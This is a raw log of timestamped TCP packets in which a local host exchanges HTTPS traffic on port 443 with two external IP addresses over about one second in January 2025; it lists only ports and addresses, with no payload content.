Jan 9, 2025 05:14:07.902121067 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.902420998 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.902434111 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.902477026 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.902481079 CET	443	49718	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.902630091 CET	443	49718	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.902679920 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.902693987 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.902823925 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.902856112 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.902918100 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.903136969 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.903150082 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.914298058 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:07.995462894 CET	443	49719	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.995773077 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.995794058 CET	443	49719	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.996808052 CET	443	49719	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.996891975 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.997139931 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.997153044 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.997195005 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.997445107 CET	443	49719	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.997505903 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.997538090 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.997567892 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.997617960 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.997798920 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.997816086 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.014827013 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.014890909 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.014935017 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.014967918 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.014971972 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.014991999 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.015018940 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.015043974 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.015069962 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.015088081 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.015091896 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.015132904 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.015172958 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.020093918 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.020123005 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.020153046 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.020159006 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.020217896 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.103583097 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.103707075 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.103743076 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.103763103 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.103776932 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.103822947 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.103846073 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.103908062 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.103944063 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.103950024 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.104013920 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.104049921 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.104054928 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.104881048 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.104931116 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.104939938 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.104989052 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.105027914 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.105030060 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.105050087 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.105088949 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.105093002 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.105901003 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.105957031 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.105961084 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.105992079 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.106020927 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.106023073 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.106029034 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.106076002 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.106084108 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.106884956 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.106906891 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.106935024 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.106954098 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.106957912 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.106991053 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.107012033 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.107053041 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.107203007 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.107215881 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.118963003 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.119009018 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.119091034 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.119292021 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.119309902 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.361623049 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.361944914 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.361968040 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.363056898 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.363126993 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.363538027 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.363604069 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.363722086 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.363729000 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.365128994 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.365312099 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.365339041 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.366336107 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.366400003 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.366677999 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.366739035 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.366817951 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.366826057 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.366875887 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.366903067 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.410322905 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.411335945 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.472321987 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.472569942 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.472579002 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.473568916 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.473632097 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.473889112 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.473938942 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.474014044 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.474020004 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495251894 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495294094 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495337009 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495352983 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.495361090 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495389938 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495409012 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.495417118 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495454073 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495457888 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.495467901 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495493889 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495527983 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.495534897 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495588064 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.495594025 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495632887 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495672941 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495703936 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495717049 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.495726109 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495794058 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495834112 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.495842934 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.495898962 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.496081114 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.496249914 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.496279001 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.496290922 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.496298075 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.496336937 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.499982119 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.500030041 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.500037909 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.500339031 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.500386953 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.500427961 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.500432968 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.522301912 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.554280043 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.554322958 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.581057072 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.581312895 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.581341028 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.581351995 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582407951 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.582477093 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.582488060 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582524061 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582545996 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.582552910 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582585096 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582595110 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.582598925 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582648993 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.582653046 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582688093 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582730055 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.582739115 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582770109 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582793951 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.582802057 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582824945 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.582829952 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.582911015 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.582938910 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.582945108 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.583067894 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.583076000 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.587321043 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587354898 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587378025 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.587383986 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587414980 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587426901 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.587430954 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587435007 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587464094 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587475061 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.587480068 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587505102 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587519884 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587522030 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.587529898 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587551117 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.587599039 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.587599039 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587615013 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587651968 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.587656975 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.587837934 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.587856054 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.590976000 CET	49724	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.591048956 CET	443	49724	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.591113091 CET	49724	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.591401100 CET	49724	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.591414928 CET	443	49724	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.630347013 CET	49725	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.630388021 CET	443	49725	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.630449057 CET	49725	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.630671978 CET	49725	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.630683899 CET	443	49725	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.633290052 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.633296013 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.670650959 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.670715094 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.670742035 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.670752048 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.670768023 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.670835972 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.671030045 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.671073914 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.671220064 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.671279907 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.671571016 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.671598911 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.671622992 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.671627998 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.671649933 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.671881914 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.671931028 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.671938896 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.671974897 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672411919 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672460079 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672465086 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672468901 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672489882 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672507048 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672512054 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672535896 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672537088 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672584057 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672589064 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672596931 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672626019 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672631025 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672668934 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672679901 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.672729969 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672785997 CET	49721	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.672804117 CET	443	49721	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.729370117 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729422092 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729446888 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729470968 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729469061 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.729499102 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729523897 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.729542017 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729579926 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.729584932 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729593992 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729629993 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729643106 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.729650974 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.729686975 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.729691982 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.735831976 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.735892057 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.735917091 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.798310995 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.803375006 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.803476095 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.803536892 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.804335117 CET	49722	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:08.804352045 CET	443	49722	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:08.817853928 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.817969084 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.818025112 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.818048954 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.818444014 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.818497896 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.818504095 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.818810940 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.818836927 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.818859100 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.818864107 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.818901062 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.818981886 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.819886923 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.819911957 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.819937944 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.819948912 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.819955111 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.819977045 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.819987059 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.819999933 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.820023060 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.820027113 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.820061922 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.820846081 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.820883989 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.820904970 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.820929050 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.820936918 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.820944071 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.820976973 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.821846008 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.821872950 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.821896076 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.821902037 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.821934938 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.821935892 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:08.821974039 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.822030067 CET	49723	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:08.822043896 CET	443	49723	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:09.046072960 CET	443	49724	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:09.046416044 CET	49724	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:09.046437979 CET	443	49724	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:09.047451973 CET	443	49724	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:09.047524929 CET	49724	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:09.047802925 CET	49724	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:09.047813892 CET	49724	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:09.047859907 CET	49724	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:09.047859907 CET	443	49724	188.114.97.3	192.168.2.17
